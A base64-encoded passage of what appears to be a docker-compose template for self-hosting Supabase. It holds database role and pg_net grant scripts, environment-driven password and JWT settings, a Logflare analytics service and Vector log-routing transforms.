dXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlc